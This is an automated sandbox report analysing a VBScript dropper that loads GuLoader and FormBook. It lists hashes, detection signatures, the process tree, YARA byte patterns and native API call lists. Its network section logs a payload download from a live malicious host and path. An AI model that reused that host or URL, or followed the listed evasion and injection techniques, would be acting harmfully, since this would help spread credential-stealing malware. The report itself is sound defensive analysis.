Edit tour

Windows Analysis Report
Zeskanowana lista przedmiot#U00f3w nr 84329.vbs

Overview

General Information

Sample name:	Zeskanowana lista przedmiot#U00f3w nr 84329.vbs
Analysis ID:	1518414
MD5:	66ccc86e92b90555bef9ec7f4281cc8b
SHA1:	8ef7f0bec3beb48df154b350cae7729df9e3cb74
SHA256:	6e435f3a080733d5733beb10fd0d45f8530f9f5ebf8367ff1b4daf56d0106dc3
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

VBScript performs obfuscated calls to suspicious functions

Yara detected FormBook

Yara detected GuLoader

Found direct / indirect Syscall (likely to bypass EDR)

Found stalling execution ending in API Sleep call

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sigma detected: WScript or CScript Dropper

Switches to a custom stack to bypass stack traces

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 7036 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

temp_executable.exe (PID: 2296 cmdline: "C:\Users\user\AppData\Local\Temp\temp_executable.exe" MD5: C9B895E1253AA2B7147BE9B1E43F2DBD)

temp_executable.exe (PID: 4004 cmdline: "C:\Users\user\AppData\Local\Temp\temp_executable.exe" MD5: C9B895E1253AA2B7147BE9B1E43F2DBD)

RAVCpl64.exe (PID: 7620 cmdline: "C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s MD5: 731FB4B2E5AFBCADAABB80D642E056AC)

cmdkey.exe (PID: 5772 cmdline: "C:\Windows\SysWOW64\cmdkey.exe" MD5: 6CDC8E5DF04752235D5B4432EACC81A8)

explorer.exe (PID: 4940 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c240:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x142ff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c240:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x142ff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c240:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x142ff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.20209174867.0000000001876000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000002.00000002.19989077508.00000000032B6000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs", CommandLine|base64offset|contains: +-, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4940, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs", ProcessId: 7036, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs", CommandLine|base64offset|contains: +-, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4940, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs", ProcessId: 7036, ProcessName: wscript.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T17:20:28.125456+0200	2803270	2	Potentially Bad Traffic	192.168.11.20	49755	170.249.236.53	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected FormBook

Source: Yara match	File source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: unknown

HTTPS traffic detected: 170.249.236.53:443 -> 192.168.11.20:49755 version: TLS 1.2

Source:

Binary string: wntdll.pdb source: temp_executable.exe, cmdkey.exe

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004066F4 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	2_2_004066F4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004065AA FindFirstFileW,FindClose,	2_2_004065AA
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_00402B75 FindFirstFileW,	2_2_00402B75
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_00402B75 FindFirstFileW,	3_2_00402B75
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004066F4 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_004066F4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004065AA FindFirstFileW,FindClose,	3_2_004065AA

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 4x nop then mov ebx, 00000004h		3_2_32A304E8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_037104E8

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49755 -> 170.249.236.53:443

Source: global traffic

HTTP traffic detected: GET /TkFvuYGGiJLZuopqvpi7.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: secretspark.com.bdCache-Control: no-cache

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: secretspark.com.bd

Source: temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mU
Source: temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: unknown

HTTPS traffic detected: 170.249.236.53:443 -> 192.168.11.20:49755 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 2_2_00404B0B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

2_2_00404B0B

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D834E0 NtCreateMutant,LdrInitializeThunk,	3_2_32D834E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82BC0 NtQueryInformationToken,LdrInitializeThunk,	3_2_32D82BC0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_32D82B90
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82EB0 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_32D82EB0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_32D82D10
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D84260 NtSetContextThread,	3_2_32D84260
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D84570 NtSuspendThread,	3_2_32D84570
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82AC0 NtEnumerateValueKey,	3_2_32D82AC0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82A80 NtClose,	3_2_32D82A80
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82AA0 NtQueryInformationFile,	3_2_32D82AA0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82A10 NtWriteFile,	3_2_32D82A10
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82BE0 NtQueryVirtualMemory,	3_2_32D82BE0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82B80 NtCreateKey,	3_2_32D82B80
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82B10 NtAllocateVirtualMemory,	3_2_32D82B10
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82B00 NtQueryValueKey,	3_2_32D82B00
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82B20 NtQueryInformationProcess,	3_2_32D82B20
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D838D0 NtGetContextThread,	3_2_32D838D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D829D0 NtWaitForSingleObject,	3_2_32D829D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D829F0 NtReadFile,	3_2_32D829F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82ED0 NtResumeThread,	3_2_32D82ED0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82EC0 NtQuerySection,	3_2_32D82EC0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82E80 NtCreateProcessEx,	3_2_32D82E80
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82E50 NtCreateSection,	3_2_32D82E50
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82E00 NtQueueApcThread,	3_2_32D82E00
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82FB0 NtSetValueKey,	3_2_32D82FB0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82F00 NtCreateFile,	3_2_32D82F00
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82F30 NtOpenDirectoryObject,	3_2_32D82F30
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82CD0 NtEnumerateKey,	3_2_32D82CD0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82CF0 NtDelayExecution,	3_2_32D82CF0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D83C90 NtOpenThread,	3_2_32D83C90
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82C50 NtUnmapViewOfSection,	3_2_32D82C50
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82C10 NtOpenProcess,	3_2_32D82C10
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D83C30 NtOpenProcessToken,	3_2_32D83C30
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82C30 NtMapViewOfSection,	3_2_32D82C30
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82C20 NtSetInformationFile,	3_2_32D82C20
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82DC0 NtAdjustPrivilegesToken,	3_2_32D82DC0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82DA0 NtReadVirtualMemory,	3_2_32D82DA0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82D50 NtWriteVirtualMemory,	3_2_32D82D50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038834E0 NtCreateMutant,LdrInitializeThunk,	5_2_038834E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882B80 NtCreateKey,LdrInitializeThunk,	5_2_03882B80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882B90 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_03882B90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882BC0 NtQueryInformationToken,LdrInitializeThunk,	5_2_03882BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882B00 NtQueryValueKey,LdrInitializeThunk,	5_2_03882B00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882B10 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_03882B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882A80 NtClose,LdrInitializeThunk,	5_2_03882A80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882E50 NtCreateSection,LdrInitializeThunk,	5_2_03882E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882D10 NtQuerySystemInformation,LdrInitializeThunk,	5_2_03882D10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882CF0 NtDelayExecution,LdrInitializeThunk,	5_2_03882CF0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882C30 NtMapViewOfSection,LdrInitializeThunk,	5_2_03882C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03884260 NtSetContextThread,	5_2_03884260
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03884570 NtSuspendThread,	5_2_03884570
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882BE0 NtQueryVirtualMemory,	5_2_03882BE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882B20 NtQueryInformationProcess,	5_2_03882B20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882AA0 NtQueryInformationFile,	5_2_03882AA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882AC0 NtEnumerateValueKey,	5_2_03882AC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882A10 NtWriteFile,	5_2_03882A10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038829D0 NtWaitForSingleObject,	5_2_038829D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038829F0 NtReadFile,	5_2_038829F0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_038838D0 NtGetContextThread,	5_2_038838D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882FB0 NtSetValueKey,	5_2_03882FB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882F00 NtCreateFile,	5_2_03882F00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882F30 NtOpenDirectoryObject,	5_2_03882F30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882E80 NtCreateProcessEx,	5_2_03882E80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882EB0 NtProtectVirtualMemory,	5_2_03882EB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882EC0 NtQuerySection,	5_2_03882EC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882ED0 NtResumeThread,	5_2_03882ED0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882E00 NtQueueApcThread,	5_2_03882E00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882DA0 NtReadVirtualMemory,	5_2_03882DA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882DC0 NtAdjustPrivilegesToken,	5_2_03882DC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882D50 NtWriteVirtualMemory,	5_2_03882D50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03883C90 NtOpenThread,	5_2_03883C90
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882CD0 NtEnumerateKey,	5_2_03882CD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882C10 NtOpenProcess,	5_2_03882C10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882C20 NtSetInformationFile,	5_2_03882C20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03883C30 NtOpenProcessToken,	5_2_03883C30
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03882C50 NtUnmapViewOfSection,	5_2_03882C50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0371F0AD NtQueryInformationProcess,	5_2_0371F0AD
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_037239A8 NtSuspendThread,	5_2_037239A8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03723FC8 NtQueueApcThread,	5_2_03723FC8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03723698 NtSetContextThread,	5_2_03723698
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03723CB8 NtResumeThread,	5_2_03723CB8

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004036D7 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,		2_2_004036D7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004036D7 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,		3_2_004036D7

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004043F9	2_2_004043F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_004070FB	2_2_004070FB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 2_2_6FC32351	2_2_6FC32351
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004043F9	3_2_004043F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_004070FB	3_2_004070FB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3D2EC	3_2_32D3D2EC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41380	3_2_32D41380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5E310	3_2_32D5E310
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0F330	3_2_32E0F330
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5B0D0	3_2_32D5B0D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E070F1	3_2_32E070F1
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D400A0	3_2_32D400A0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFE076	3_2_32DFE076
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D551C0	3_2_32D551C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D9717A	3_2_32D9717A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DED130	3_2_32DED130
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1010E	3_2_32E1010E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0F6F6	3_2_32E0F6F6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0A6C0	3_2_32E0A6C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC36EC	3_2_32DC36EC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4C6E0	3_2_32D4C6E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFD646	3_2_32DFD646
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D74670	3_2_32D74670
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6C600	3_2_32D6C600
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DED62C	3_2_32DED62C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D52760	3_2_32D52760
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5A760	3_2_32D5A760
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E06757	3_2_32E06757
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50445	3_2_32D50445
